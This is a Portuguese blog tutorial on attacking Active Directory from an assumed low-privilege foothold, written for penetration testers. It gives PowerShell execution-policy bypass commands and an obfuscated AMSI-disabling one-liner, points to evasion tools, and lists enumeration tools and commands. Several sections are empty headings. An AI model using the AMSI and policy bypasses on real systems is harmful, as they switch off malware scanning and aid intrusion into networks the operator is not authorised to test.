Posted in: Active Directory, Segurança

Segurança Active Directory

Descubra neste artigo as técnicas utilizadas por profissionais de segurança offensiva para explorar a segurança Active Directory. Antes de iniciar qualquer tipo de ataque num ambiente com Active directory convem perceber como funciona internamente para evitar um crash geral no controlador de domínio de algum cliente.

Cada técnica e ferramentas usada neste tutorial já existe no sistema operativo Windows ou serão scripts Powershell que irão correr directamente na memória do sistema a comprometer.

Brecha Assumida (Assumed Breached)

Neste exemplo o profissional de segurança já conseguiu acesso à rede com credenciais de utilizador limitado, após autenticar numa máquina começa a jornada para conquistar toda a rede e ser “Enterprise Administrator”.

Mecanismos Locais de Segurança

Para dificultar esta tarefa a Microsoft preparou alguns mecanismos para manter a segurança dos seus utilizadores. Nós como profissionais de segurança temos de conseguir ultrapassar estes mecanismos de forma a conseguir escalar os nossos privilegios na maquina local ou no dominio.

Permissões de Execução – Policies

Muitos administradores de sistemas bloqueiam a execução de scripts na Powershell, existem algumas formas de fazer bypass a essa politica restritiva.

powershell ExecutionPolicy bypass
powershell c <cmd>
PowerShell

Using Encoded PowerShell

powershell encodedcommand $env:PSExecutionPolicyPreference =="bypass"
PowerShell

AMSI – AntiMalware Scan Interface

Após ter uma shell Powershell onde é possivel executar scripts outras limitações podem ser encontradas, uma que geralmente esta sempre presente é a AMSI da Microsoft, detecta e bloqueia qualquer tipo de conteudo malicioso.

AMSI Bypass

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PowerShell

https://amsi.fail/

Constrained Language Mode (CML)

Ofuscação de Scripts

Sugestão de Bypass á segurança da PowerShell

Invisi-Shell

Com privilegios de Administrator

RunWithPathAdAdmin.bat
PowerShell

Sem privilegios de Administrador

RunWithRegistryNonAdmin.bat
PowerShell

Enumeração

Como profissionais de segurança todos sabemos que a fase de enumeração é a mais importante, principalmente em um sistema complexo como o Active Directory. Antes de começar a enumerar convém perceber onde e como vasculhar os cantos do sistema.

Para esta fase vou usar comandos CMD sempre que possível ou então usar o script AD Module, contudo existem várias ferramentas. Passo a listar algumas delas:

FerramentaURL
Powerviewhttps://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Pywerviewhttps://github.com/the-useless-one/pywerview
PowerUpSQLhttps://github.com/NetSPI/PowerUpSQL
Invoke-ADEnumhttps://github.com/Leo4j/Invoke-ADEnum
BloodHoundhttps://github.com/BloodHoundAD/BloodHound
adPEAShttps://github.com/61106960/adPEAS
Ferramentas para Enumerar Active Directory

PS C:\ADCS\Tools> Import-Module C:\ADCS\Tools\ADModule\Import-ActiveDirectory.ps1
PowerShell

Dominio

PS C:\ADCS\Tools> Get-AdDomain
PowerShell

Utilizadores

Grupos

Computadores

PS C:\ADCS\Tools> Get-ADComputer -Filter * -Properties Name | ft Name,DNSHostName,IPv4Address -A
PowerShell

Back to Top